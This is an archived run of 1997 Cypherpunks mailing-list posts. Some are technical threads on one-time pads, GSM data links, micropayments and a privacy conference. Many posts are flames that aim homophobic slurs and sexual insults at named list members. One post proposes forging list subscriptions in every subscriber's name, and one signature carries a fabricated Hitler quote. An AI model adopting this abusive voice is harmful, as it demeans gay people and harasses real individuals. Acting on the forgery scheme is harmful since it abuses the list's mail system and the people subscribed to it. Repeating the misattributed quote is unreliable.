Message-ID: <ymqq1D21w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas <oksas@asimov.montclair.edu> writes:

> On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> >
> > > On Fri, 17 Jan 1997, Dale Thorn wrote:
> > >
> > > > Dr.Dimitri Vulis KOTM wrote:
> > > > > snow <snow@smoke.suba.com> writes:
> > > > > > > I say we make people fly naked and ship their stuff via UPS ;).
> > > >
> > > > > >     >>shudder<<
> > > > > >     No!. A clear case of the cure being worse than the disease...
> > > >
> > > > > Why. it might be fun - those long flight can be so boring with clothe
> > > >
> > > > This one I really don't understand.  Cypherpunks lobbied heavily for
> > > > the Final Solution to Spamming and flaming, now along comes the perfect
> > > > solution to the airport security problem, and nobody's gonna go for it.
> > > >
> > > > Guess those old, out-of-shape guys don't want anybody laughing at them.
> > > > Besides, they can put all the clothes in the same plane's baggage
> > > > compartment.  And planes have those little blankets and pillows,
> > > > so what's the problem?
> > >
> > > 	Cold temps...
> >
> > What can naked people do to keep warm???
>
> 	steal blankets from nearby passenger..

Offer nearby passengers to share the blankets.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 18 Jan 1997 11:21:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Fwd: Re: Victory Party]
In-Reply-To: <32E10439.6B4A@gte.net>
Message-ID: <mqqq1D22w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> aga wrote:
> > Date: Sat, 18 Jan 1997 13:34:37 GMT
> > On Sat, 18 Jan 1997, SB wrote:
> > From: J Durbin <slothrop@poisson.com>
> > > Forward on the good Dr. Vulis from ne.internet.services.
> > > Newsgroups: ne.internet.services, alt.fan.speedbump, alt.god.grubor
> > > Steve    Subject: Re: Victory Party
>
> > hannigan@shore.net (Martin Hannigan) wrote:
> > >Steve/Grubby/Vulis/Aga: You can come too. Of course.
>
> > The Cypherpunks mailing list people invited Vulis to come speak
> > at one of their CA meetings. They even offered to pay for his airfare
> > and lodging, but he was too afraid to show up.
> > What a coward, just like Boursy and Grubor.
>
> > Hey you fucker; you pay my expenses and I will come.
> > You get a one hour lecture and one hour of questions and
> > answers afterward.  Everybody gets frisked for guns at the door,
> > since we do not trust some of those cypherpunks.
>
> Picture the typical cypherpunk (especially Sandfort, who organized the
> whole thing):  Old, out of shape, ignorant, lonely, perverted, ugly,
> etc. etc.  Dr. Vulis actually brightened up their "life" for a few
> moments, then, when he didn't take the bait for the roast, they felt
> rejected, like a love spurned.  It's so transparent.

It just wasn't worth the time. I found F2F contact with the
likes of Hughes and Gilmore pretty boring and unproductive.

But if Dr. Grubor wishes to address a Cypherpunks meating,
and expose them as a bunch of homosexual censors, I think
it would be a neat idea.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 18 Jan 1997 12:10:57 -0800 (PST)
To: blake@bcdev.com (Blake Coverett)
Subject: Re: One time pads and randomness?
In-Reply-To: <01BC0543.DBB9DCF0@bcdev.com>
Message-ID: <199701182006.OAA00886@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


By the way, did anyone try to run "all randomness tests" on a sequence
of digits of, say, decimal representation of "e"?

igor

Blake Coverett wrote:
> 
> > I want to use a one time pad pased crypto system. I understand that the
> > randomness of the pad genorator is key to security(other than lossing the
> > keys). What I want to know is if I use a psuedo-RNG that maybe repeats its
> > self every 1000 characters and use it to only encrypt messagase that are
> > 100's of charaters long, will this be a major security risk? 
> 
> I'm afraid you've fallen into one of the standard traps.  A PRNG can *not*
> make a OTP no matter how you use it.  
> 
> The total amount of entropy in a PRNG is the amount of entropy in the seed 
> you use to key it.  All the other bits are directly derived from that seed.
> 
> A true OTP is completely secure from an information-theory point of view
> because every byte has a full eight bits of entropy.  A PRNG can never
> have this.
> 
> Having said all this, it is possible to make a good cipher from a PRNG.
> RC4, for example, is exactly that and the variable sized key is the
> seed for the PRNG.  It is however very difficult to come up with a
> good algorithm for that cryptographically sound PRNG and you would
> be much further ahead to use an existing one rather that trying to
> roll your own.
> 
> > Say I create a 1 million character one time pad that passes all of the
> > randomness tests. It is "truely random". I place it on two computers. Now
> > when these two computers want to send email computer "A" grabs a chunk of the
> > one time pad  starting at a random point and encrypts it. It labels the email
> > with the random starting point and sends it to "B". There "B" moves to the
> > random point and begins decryption. During to process both computers mark
> > that section of the OTP used so that they don't retransmit with it. I realize
> > this has a limited amount of messages before it is used up. But would this be
> > secure? Any suggestions, complaints, big gapping holes I missed? 
> 
> I don't see anything wrong as such, but there is nothing to be gained either.
> If your random data is real OTP material there is no need to skip to a random
> byte within it, just start at the beginning and use it in sequence.  If your random
> data is the output of a PRNG like the above then random starting point doesn't
> buy you much additional security because the entire set of keying material can
> be recreated from the seed.  It may increase the work-factor of searching for
> the key, but it also imposes the practical problem of keeping all that keying
> material secure.
> 
> More importantly don't confuse statistically random with cryptographically
> random.  Just because a bunch of bits passes all the randomness test
> you can think of doesn't mean it contains 100% entropy.  Consider the
> digits of an irrational number like sqrt(2) or pi, the digits appear statistically
> random but they can be recreated from just a tiny bit of knowledge.
> 
> A good litmus test is to ask yourself if there is any way you can
> reproduce those bits.  If there is, they aren't a one time pad.
> (Of course even if you can't it doesn't mean they are good. :-)
> 
> regards,
> -Blake
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 18 Jan 1997 12:41:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [STATS] Cypherpunks-unedited subscriptions
In-Reply-To: <3.0.32.19970118090523.006ac2fc@best.com>
Message-ID: <BHRq1D25w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


i.am.not.a.number@best.com writes:

> dang!  i forgot to change.
> what's the moderated list being called?
> which is this one?  yikes --- i've been paying attention
> to somether things.

This is Sandfart's and Gilmore's trick - substitute a censored list
for the unmoderated one, and hope that no one will notice.

Also a lot "subscribers" to the original list are not real people, but local
redistribution lists, or deamons who post the traffic in local newsgroups or
archive it at various repositories. It would be a good little hack to send a
'who' to majorodomo to get the existing subscribers to cypherpunks,
coderpunks, and cryptography(@c2), and forge a separate "subscribe
cypherpunks-unedited" from each address to majordomo@toad.com. Then let the
ones who don't want duplication unsubscribe from the original list (now
moderated). If someone wants to pull thos off, but needs technical
assistance, please e-mail me offline and I'll explain how to do it.

Of course I can't subscribe to the "unedited" list because the lying
cocksucker John Gilmore (spit) instructed his Majordomo to play dead when it
sees my address.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Sat, 18 Jan 1997 16:57:14 -0800 (PST)
To: vznuri@netcom.com
Subject: Re: microcurrency: Netscape vs. Microsoft
Message-ID: <199701182228.OAA00244@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


From: "Vladimir Z. Nuri" <vznuri@netcom.com>
> I predict that microcurrency will not catch on in a big way
> until it is integrated with browsers, and when it is, it
> will be adopted in an insanely large rush like the way
> the web itself caught on with the GUI (and was mostly comatose
> before it).  
> [...]
> notice how much crypto really caught on when Netscape 
> incorporated it, and how this action alone did more for
> the proliferation of crypto in cyberspace, almost, than
> all prior efforts combined. I think that microcurrency
> will be unleashed in a very similar way.

I assume you are referring to secure web connections via SSL in talking
about crypto.  In that case there was a very strong pent up demand for
the service.  Customers were afraid to send credit card numbers and
other personal information across the web.  Sellers were pressuring the
net server companies to do something to quell these concerns so on-line
selling could succeed.  Netscape did it, and in the grand tradition of
the net, implementation beat design and SSL defeated SHTTP.  In its early
versions SSL had a lot of problems but it was a good enough solution for
what it needed to be.

The question is whether there is similar market demand for pay per view
web pages.  Do web service operators think they can offer value added
services which will motivate customers to click through the for-pay link?
Maybe porn would be a good initial market.  There are so many sites
where you've got to sign up ahead of time for $20 or so for a month's
membership.  This is a considerable barrier.  But if you could just take
a peek for $.50 there would be a lot of people interested.  Porn is what
started the VCR market before it later "went respectable", so maybe the
same thing could happen here.  I know that a lot of the initial vendors
with First Virtual were selling racy pictures, although I think the
company has taken steps to reduce their association with that market.

This is not exactly the microcurrency that Vladimir is talking about
but it would be a good model for integrating some payment system with
a browser and it could serve as the foundation for other for-pay pages
with lower fees.

There is also the issue of sellers learning to use the various payment
systems which are out there.  Here again if Netscape and Microsoft would
just pick one then everyone could standardize on it, which would
increase acceptance a great deal.

Ecash as it is implemented now has the problem that the customer has to
open a special bank account.  What you need is a payment system where
you can use your existing VISA card and withdraw cash against it into
your electronic wallet.  This is pretty close to the FV model but their
payment system is somewhat clumsy.

I haven't followed the electronic payment market closely for the last
couple of years.  Are there any payment systems which look like good
candidates for integration with browsers?

Hal




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 18 Jan 1997 12:43:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <Pine.LNX.3.95.970118130638.8690A-100000@ixsrs4.ix.netcom.com>
Message-ID: <51Rq1D26w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


AIDAS <aidas@ixsrs4.ix.netcom.com> writes:
>
> Um, Paul? I hate to break it to you, but they're not moderating yet. If
> they were, we wouldn't get as much slime as we do on the list.

One memorable "censorship" incident occurred when the lying cocksucker
John Gilmore (spit) forcibly unsubscribed me from this list because he
didn't like the contents of my submissions - or did you forget already?
Look up Declan's disgraceful writeup on Netly News archives.

At that time most valuable contributors to this list (such as myself)
resolved not to contribute crypto-relevant content to a censored forum.

> Personally, I wish they'd hurry up. I'm getting rather annoyed with the
> spam, the "you're all homosexuals" postings, the posts by morons that
> can't figure out Majordomo or their mailers, and so on and so forth.

Not sure about "all", but someone whose name sounds like AIDS, and who
advocates censorship, most likely is one.

> So I ask you this: If the moderation isn't yet implemented, then how has
> it "gone down sharply since the start of the censorship [which hasn't been
> done yet]?"

The way Sandfart has gone down on Gilmore or the way Gilmore has gone
down on Inman? Or the way "copyright violations" (formerly known as
"news spam") will not be sent to a censored forum?

> <sarcasm> I just can't wait to see what kind of witty comment Dimitri will
> have on the first and second paragraphs of my response. </sarcasm>

You're not worth a witty comment, 'punk.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Sat, 18 Jan 1997 14:44:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: GSM technology
Message-ID: <v02140b02af06ecc8961a@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


GSM DATA FEATURES
GSM is particularly suited for mobile data communications.  All GSM base
systems support 9.6kbit/s circuit-switched data services, soon many will
increase transmission speed up to 28.8kbit/s. A new part of the GSM
standard, known as High Speed Circuit Switched Data (HSCSD), is being
developed which will boost user capacity up to 64 kbit/s, and higher.
        Interconnecting this 64 kbit/s wireless capability with public ISDN
networks, for example, will give mobile users complete end-to-end digital
connectivity with the attendant benefits of very fast set-up times and high
link quality.
        Technically, HSCSD requires a new radio link protocol; a
modification of the existing protocol used to provide the GSM voice
channel. GSM uses TDMA (Time Division Multiple Access) technology, which
divides each 200 kHz carrier into eight timeslots. To provide a single
voice channel, one timeslot is used; one timeslot is also used to provide a
single 9.6 kbit/s data circuit. However, all eight slots will be used to
provide one 64 kbit/s circuit.
     The main benefit of this approach is that it is designed for the
existing GSM infra-structure. There is no need for operators to change
their entire network infrastructure in order to implement it. Operators
will therefore be able to implement HSCSD in a quick and efficient way,
once the specification has been ratified.

ENCRYPTED GSM LINKS
If the GSM phone includes a data port, as some already do, just connect
your laptop, dial your ISP and 'push' the encrypted traffic over that link
(e.g., using TCP/IP and PGPfone).

REFERENCES
If you really want to dive headfirst into GSM, the following is a resource
list generated in 1994:

@article(rahn,
  author = {Rahnema, Moe},
  title = "Overview of the {GSM} System and Protocol Architecture",
  journal = {IEEE Communications Magazine},
  month = {April},
  year = 1993)

@incollection(chee,
  author = {Cheeseman, David},
  title =  "The pan-{European} cellular mobile radio system",
  booktitle = {Personal and Mobile Radio Systems},
  editor = {R.C.V. Macario},
  publisher =  {Peter Peregrinus},
  address = {London},
  year = 1991)

@incollection(bals1,
  author = {Balston, David M.},
  title = "The pan-{European} cellular technology",
  booktitle = {Personal and Mobile Radio Systems},
  editor = {R.C.V. Macario},
  publisher =  {Peter Peregrinus},
  address = {London},
  year = 1991)

@article(moha,
  author = {Mohan, Seshadri and Jain, Ravi},
  title = "Two User Location Strategies for Personal Communication Services",
  journal = {IEEE Personal Communications},
  volume = 1,
  number = 1,
  year = 1994)

@inproceedings(haug,
  author = {Haug, Thomas},
  title = "Overview of the {GSM} Project",
  booktitle = {EUROCON 88},
  month = {June},
  year = 1988)

@inproceedings(mall,
  author = {Mallinder, Bernard J. T.},
  title = "Specification Methodology Applied to the {GSM} System",
  booktitle = {EUROCON 88},
  month = {June},
  year = 1988)

@inproceedings(aude,
  author = {Audestad, Jan A.},
  title = "Network Aspects of the {GSM} System",
  booktitle = {EUROCON 88},
  month = {June},
  year = 1988)

@incollection(bals2,
  author = {Balston, D. M.},
  title = "The pan-{European} System: {GSM}",
  booktitle = {Cellular Radio Systems},
  editor = {Balston, D. M. and Macario, R.C.V.},
  publisher = {Artech House},
  address = {Boston},
  year = 1993)

@incollection(wats,
  author = {Watson, C.},
  title = "Radio Equipment for {GSM}",
  booktitle = {Cellular Radio Systems},
  editor = {Balston, D. M. and Macario, R.C.V.},
  publisher = {Artech House},
  address = {Boston},
  year = 1993)

@incollection(harr1,
  author = {Harris, I.},
  title = "Data in the {GSM} Cellular Network",
  booktitle = {Cellular Radio Systems},
  editor = {Balston, D. M. and Macario, R.C.V.},
  publisher = {Artech House},
  address = {Boston},
  year = 1993)

@incollection(harr2,
  author = {Harris, I.},
  title = "Facsimile over Cellular Radio",
  booktitle = {Cellular Radio Systems},
  editor = {Balston, D. M. and Macario, R.C.V.},
  publisher = {Artech House},
  address = {Boston},
  year = 1993)

@article(dech,
  author = {D\'echaux, C. and  Scheller, R.},
  title = "What are {GSM} and {DCS}",
  journal = {Electrical Communication},
  month = {2nd Quarter},
  year = 1993)

@article(feld,
  author = {Feldmann, M. and Rissen, J. P.},
  title = "{GSM} Network Systems and Overall System Integration",
  journal = {Electrical Communication},
  month = {2nd Quarter},
  year = 1993)

@article(bezl,
  author = {Bezler, M. and others},
  title = "{GSM} Base Station System",
  journal = {Electrical Communication},
  month = {2nd Quarter},
  year = 1993)

@article(schm,
  author = {Schmid, E. H. and K\"ahler, M.},
  title = "{GSM} Operation and Maintenance",
  journal = {Electrical Communication},
  month = {2nd Quarter},
  year = 1993)

@article(lobe,
  author = {Lobensommer, Hans and Mahner, Helmut},
  title = "{GSM} -- a {European} Mobile Radio Standard for the
           World Market",
  journal = {Telcom Report International},
  volume = 15,
  number = {3-4},
  year = 1992)

@article(hube,
  author = {Huber, Josef--Franz},
  title = "Advanced Equipment for an Advanced Network",
  journal = {Telcom Report International},
  volume = 15,
  number = {3-4},
  year = 1992)

@book(winc,
  author = {Winch, Robert G.},
  title = "Telecommunication Transmission Systems",
  publisher = {McGraw-Hill},
  address = {New York},
  year = 1993)

@inproceedings(natv,
  author = {Natvig, Jon E. and Hansen, Stein and de Brito, Jorge},
  title = "Speech Processing in the pan-{European} Digital Mobile Radio
           System ({GSM}) --- System Overview",
  booktitle = {IEEE GLOBECOM 1989},
  month = {November},
  year = 1989)

@inproceedings(vary,
  author = {Vary, P. and others},
  title = "Speech Codec for the {European} Mobile Radio System",
  booktitle = {IEEE GLOBECOM 1989},
  month = {November},
  year = 1989)

@inproceedings(sout,
  author = {Southcott, C. B. and others},
  title = "Voice Control of the pan-{European} Digital Mobile Radio System",
  booktitle = {IEEE GLOBECOM 1989},
  month = {November},
  year = 1989)

@unpublished(nils,
  author = {Nilsson, Torbjorn},
  title = "Toward a New Era in Mobile Communications",
  note = {http://193.78.100.33/ (Ericsson WWW server)})



PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur@netcom.com
Lamarr Labs              | Voice: 1-702-658-2654
7075 West Gowan Road     | Fax: 1-702-658-2673
Suite 2148               |
Las Vegas, NV 89129      |
---------------------------------------------------------------------

Internet, electronic currency and wireless development

        1935 will go down in history! For the first time a civilized
        nation has full gun registration! Our streets will be safer,
        our police more efficient, and the world will follow our
        lead in the future!
            --Adolf Hitler






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 18 Jan 1997 12:58:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Enough is Never Enough -- pro-CDA alliances, from TNNN
In-Reply-To: <199701180608.AAA17196@nic.stolaf.edu>
Message-ID: <32E15626.78C6@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Sir Robin of Locksley wrote:
 
 >  >       Donna Rice-Hughes from Enough is Enough says: "It discusses
three
 >  >   primary areas of our concern: letting the court know the
problems on
 >  >   the Internet. Adult pornography, indecency, and child porn as
well.
 
 >  Now it's porn, tomorrow it's you saying what
 > you beleive (that might also be the truth...)
 > If one is offended by something, don't look! How come Catholicism
doesn't get
 > banned and outlawed? Hell, it offends me...
 
   I'm afraid that you are in the minority in your beliefs, at least
 here on the CypherPunks list.
   Most CypherPunks believe that we need a higher authority to protect
 us from things that we don't want to see.  Most CypherPunks see that
 Beneviolent Moderation is a good thing, as was made plain from the
 discussions on the list in this regard, so I assume that they would
 not be so hypocritical as to oppose the attempts of others to bring
 the blessing of Beneviolent Moderation to everyone on the InterNet.
   I expect the majority of CypherPunks will be more than willing to
 throw their support behind efforts to remove pornography from the
 whole InterNet, just as they were eager to remove posts containing
 'bad words' from this list.
 
   Of course, you must realize that I don't pretend to speak for
 all CypherPunks subscribers--only for the upright, decent ones,
 who, like Donna Rice-Hughes, want to live in a safe, filtered
 world, free from the intrusion of wrong-thinkers.
  Some of the CypherPunk subscribers seem to favor taking personal
responsibility for what they chose to read or not read, but they
are just a small, troublesome minority on the list.

  Donna Rice-Hughes and her crowd are merely late-comers on the
moderation scene, trying to emulate the 'good' CypherPunks who
finally stood up and said, "Enough is enough."
 
 Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Sat, 18 Jan 1997 15:04:02 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: microcurrency: Netscape vs. Microsoft
In-Reply-To: <199701182105.NAA13618@netcom10.netcom.com>
Message-ID: <Pine.GSO.3.95.970118145332.29052B-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 18 Jan 1997, Vladimir Z. Nuri wrote:

> it seems that microcurrency has still not hit the "big time"
> yet. or perhaps some people see otherwise. what is the evidence
> for how far it has penetrated ala DigiCash etc? I haven't seen
> much myself.
> 
> I predict that microcurrency will not catch on in a big way
> until it is integrated with browsers, and when it is, it
> will be adopted in an insanely large rush like the way
> the web itself caught on with the GUI (and was mostly comatose
> before it).  

It will also not catch on until there are better standards involving
microcurrency transactions amongst the vendors.  It would also help if
there was a single interface (or "helper app") for whatever vendor you
decided to go with.

Currently every vendor of payment schemes has made it proprietary in some
way.  (At least the ones I have seen.)  This means that if the user visits
three different web pages, each using a payment scheme from a different
vendor, that user has to be signed up with all of those vendors.  (Or at
least have their helper apps.)

I will not even go into the hastles of trying to set it up from the server
side.  (The last payment scheme I installed (cybercash) was not very well
documented.  The documentation on the web site contradicted the software
with the tar file.  (And both were wrong at some point.))  Until these
payment schemes are easier to deal with for the web page provider, they
will not catch on.  (There will also need to be more support for Internet
service providers with multiple vendors all on different payment schemes.)

Until there is a single standard hammered out, micropayments will still be
few and far between.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 18 Jan 1997 16:58:18 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfart suck big dicks]
In-Reply-To: <4Lmq1D13w165w@bwalk.dm.com>
Message-ID: <32E16634.3BC6@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Someone wrote to me:
> >Did you not mean any homo who has ever shaffted Gilmore and Sandy can
> >write what the fuck they like but straight or intelligent or NORMAL
> >people will have to be filtered.

> Yes, that's precisely how Sandfart's moderation will work. Homosexuals
> like Jason Durbin will continue to post personal attacks on Gilmore's
> many "enemies", but the victims of the libel will not be able to respond
> and refute their lies. The concept of "the best response to speech you
> don't like is more speech" is totally alien to the homosexual subculture
> on the Internet. These control freaks are into censorship and B&D.

Here's a problem.  I don't have "technical" capabilities in the area of
communications software, and I have too full a plate to start studying
now.  But, I/we need to monitor the "moderator", to make sure he doesn't
allow people to attack others, then cut the responses.

If he does this, and he doesn't rectify it when it's called to his
attention, he would need to be punished in some way.  One of the
questions I have is, how do I know what's cut when all I subscribe to
is the uncensored list?  I do *not* want to subscribe to the filtered
list plus the "flames" list, out of principle.  Is this something that
would be forced on me/us in order to monitor the censorship?

In other words, can I separate the censored email without having to
have two accounts?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sat, 18 Jan 1997 13:26:23 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: [Fwd: Re: Victory Party]
In-Reply-To: <mqqq1D22w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970118162234.32723D-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> Dale Thorn <dthorn@gte.net> writes:
> 
> > aga wrote:
> > > Date: Sat, 18 Jan 1997 13:34:37 GMT
> > > On Sat, 18 Jan 1997, SB wrote:
> > > From: J Durbin <slothrop@poisson.com>
> > > > Forward on the good Dr. Vulis from ne.internet.services.
> > > > Newsgroups: ne.internet.services, alt.fan.speedbump, alt.god.grubor
> > > > Steve    Subject: Re: Victory Party
> >
> > > hannigan@shore.net (Martin Hannigan) wrote:
> > > >Steve/Grubby/Vulis/Aga: You can come too. Of course.
> >
> > > The Cypherpunks mailing list people invited Vulis to come speak
> > > at one of their CA meetings. They even offered to pay for his airfare
> > > and lodging, but he was too afraid to show up.
> > > What a coward, just like Boursy and Grubor.
> >
> > > Hey you fucker; you pay my expenses and I will come.
> > > You get a one hour lecture and one hour of questions and
> > > answers afterward.  Everybody gets frisked for guns at the door,
> > > since we do not trust some of those cypherpunks.
> >
> > Picture the typical cypherpunk (especially Sandfort, who organized the
> > whole thing):  Old, out of shape, ignorant, lonely, perverted, ugly,
> > etc. etc.  Dr. Vulis actually brightened up their "life" for a few
> > moments, then, when he didn't take the bait for the roast, they felt
> > rejected, like a love spurned.  It's so transparent.
> 
> It just wasn't worth the time. I found F2F contact with the
> likes of Hughes and Gilmore pretty boring and unproductive.
> 
> But if Dr. Grubor wishes to address a Cypherpunks meating,
> and expose them as a bunch of homosexual censors, I think
> it would be a neat idea.
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 

They have to pay the transportation for my two assistants also, and
one is a big black man so no racial shit.  The discussion is limited
strictly usenet cypherpunks/fags.

And you keep your hands off of my men, too.  You queers do not get
any hunks to go with this Lecture.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sat, 18 Jan 1997 16:40:30 -0800 (PST)
To: i.am.not.a.number@best.com
Subject: Re: [STATS] Cypherpunks-unedited subscriptions
In-Reply-To: <3.0.32.19970118090523.006ac2fc@best.com>
Message-ID: <Pine.SUN.3.91.970118163026.4256B-100000@crl2.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sat, 18 Jan 1997 i.am.not.a.number@best.com wrote:

> dang!  i forgot to change.
> what's the moderated list being called?

Cypherpunks.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sat, 18 Jan 1997 16:42:13 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: RE: Newt's phone calls
In-Reply-To: <PHkq1D6w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970118163429.4256C-100000@crl2.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> In practice, a debit card must be tied to a bank account with a valid SS#.
> You try something suspicious and the IRS will debit the account $500 and/or
> freeze it.

Not if it's a foreign bank account.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 18 Jan 1997 14:11:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: your mail
In-Reply-To: <199701181810.MAA10982@manifold.algebra.com>
Message-ID: <12Xq1D35w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:
> Here's a shell script that i wrote to help people like Prof. OBrien.

Igor writes shell scripts.  Igor likes girls.  Igor knows (some) crypto.

Therefore Igor is not a "cypher punk".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 18 Jan 1997 16:58:27 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Airport security [no such thing]
In-Reply-To: <B9Jq1D4w165w@bwalk.dm.com>
Message-ID: <32E17060.542C@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> > On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> > > > On Fri, 17 Jan 1997, Dale Thorn wrote:
> > > > > Dr.Dimitri Vulis KOTM wrote:
> > > > > > snow <snow@smoke.suba.com> writes:
> > > > > > > > I say we make people fly naked and ship their stuff via UPS ;).

> I once saw a movie where they had a heroin (or cocaine?) processing lab
> and everybody was supposed to work naked so it would be hard to steal
> some of the product. Of course in the movie all the employees were good-
> looking women (Oksas would have been the big star!).

When you have the resources to run a coke lab, your employees *can*
be all good-looking women [hee hee].  So, to avoid the ugly-naked
passenger syndrome, stick mainly to business flights in certain areas,
or flights to exclusive resorts, etc.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bruce Koball <cfpinfo@well.com>
Date: Sat, 18 Jan 1997 16:59:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: CFP'97
Message-ID: <199701190058.QAA07803@well.com>
MIME-Version: 1.0
Content-Type: text/plain


 The Seventh Conference on Computers, Freedom, and Privacy
                    March 11-14, 1997
San Francisco Airport Hyatt Regency; Burlingame, California

              CFP'97 : Commerce & Community

CFP'97 will assemble experts, advocates, and interested people
from a broad spectrum of disciplines and backgrounds in a balanced
public forum to address the impact of new technologies on society. 
This year's theme addresses two of the main drivers of social and
technological transformation.  How is private enterprise changing
cyberspace?  How are traditional and virtual communities reacting? 
Topics in the wide-ranging main track program will include:

        PERSPECTIVES ON CONTROVERSIAL SPEECH
        THE COMMERCIAL DEVELOPMENT OF THE NET
        GOVERNMENTAL & SOCIAL IMPLICATIONS OF DIGITAL MONEY
        INTERNATIONAL PERSPECTIVES ON CRYPTOGRAPHY
        CYPHERPUNKS & CYBERCOPS
        REGULATION OF ISPs
        SPAMMING
        INFOWAR
        INTELLECTUAL PROPERTY AND INFO-PROPERTY
        THE 1996 ELECTIONS:  CREATING A NEW DEMOCRACY
